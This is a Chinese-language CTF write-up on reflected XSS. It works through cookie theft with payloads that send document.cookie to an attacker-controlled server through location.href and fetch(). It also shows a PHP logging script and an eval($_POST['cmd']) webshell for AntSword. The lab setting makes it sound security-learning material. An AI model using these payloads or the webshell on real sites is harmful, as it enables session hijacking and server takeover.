(感觉最近做的好多不是我现在这个阶段能啃下来的,然后发现web还有几大板块没怎么学过,因此先转到这些板块上来看,也是一篇从零开始的XSS, 然后这里有一块需要注意的是得用自己的服务器,然后网上看到有别的师傅的wp找了个xss平台之类的,没怎么具体了解过,个人感觉自己搞一个服务器还是挺划算的,【这里没有推广告的意思】我自己用的腾讯云的轻量应用服务器,新客户99一年,有时候搞活动还能再便宜,具体怎么搭建可以参考从0搭建RFI,如果搭建麻烦的话也可以先不进行搭建,只是作为一个中转的平台来运用)
一:前置知识
**跨站脚本(Cross-Site Scripting,XSS)**是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。【这篇就只讲反射型XSS】
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏 、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
例如一个服务器端代码:
php
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。
(316这里主要还是跟cookie窃取有关,这个放到后面再讲)
二:具体题目
1.初步尝试(x自己)
进去之后是这样一个页面:

这里直接给出了生成链接,那么就是反射型,我最开始构造的是这么一个:
css
<script>alert(document.cookie)</script>
1 <script>...</script>
告诉浏览器:里面的是 JavaScript 代码,不是普通文字。
2 alert(...)
-
alert是浏览器自带的函数 -
作用:弹出一个对话框
常用于测试:
只要能弹窗,说明 JS 被执行了
3 document.cookie
-
document:当前网页 -
cookie:当前网站保存的 Cookie
也就是:读取当前用户在这个网站的 cookie 信息
总的来说就是**:在网页中执行一段 JS,弹窗显示当前网站的 Cookie**
但是这里明显有个问题:

这里显示说不是admin【最后面的那个admin是我之前自己搞了个user值为admin,但是没啥用】
这里拿视频里来说就是自己x了自己,但我感觉讲得有点怪怪的,望知道的师傅能解惑。
2.外部服务器应用(x别人)
(我用的是Ubuntu)
1)最直接的方法
先在服务器里开个监听:
bash
python3 -m http.server 8000
然后在平台里输入:
css
<script>
location.href='http://服务器IP:8000/?c='+document.cookie
</script>
location.href = ...
这一句的意思是: 让浏览器立刻跳转到这个 URL ,而"跳转"本身 = 一次 HTTP GET 请求
所以这整一句话就是**cookie 已经离开目标网站,到我们的服务器上了,**然后我们再在服务器上打开就能看到flag:

2)环境已经搭建情况下
我们首先要在服务器上写一个恶意文件,利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中,直接一并展示了:
bash
cd /var/www/html //写到该目录下
nano x.php //写入恶意文件
<?php
file_put_contents("log.txt", $_SERVER['QUERY_STRING'] . PHP_EOL, FILE_APPEND);
echo "ok";
?>
touch log.txt
chmod 777 log.txt //这里我新建一个log.txt写到这里面
如果写入文件正常的话访问**服务器IP/x.php?test=123,**会显示ok:

然后依旧使用我们之前的payload,点击生成链接后再回到服务器输入:
bash
cat /var/www/html/log.txt
正常结果将会如下:

3)无中生有(可直接跳过不看)
这块我想的是视频里是连了蚁剑的,如果我也想连蚁剑的话恶意文件和payload就得这么写:
bash
<?php
$content = $_POST['c'];
if(isset($content)){
file_put_contents('log.txt',$content);
}else{
echo 'no date input';
}
<script>
fetch('http://你的服务器IP/x.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'c=' + encodeURIComponent(document.cookie)
});
</script>
因为是post请求直接看不到,所以还得新建一个webshell:
php
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
eval($_POST['cmd']);
后面因为某个页面回显搞了好久,其实环境配置是没有问题的,可以连上蚁剑:

然后在log.txt中可以找到flag【但我不确定是不是之前的方法留下来的,建议读者再自行尝试尝试】

三:总结
总之这里就是反射型XSS最经典的一个应用,通过这道题我们了解了最经典的payload的构造以及如何通过外部服务器进行cookie窃取【感觉这里有点像OBB】,最后面那个蚁剑连的我感觉是不太行的,因为最前面还有个test=123这么一个东西,但一口吃不成个胖子,这些还是以后慢慢研究好了。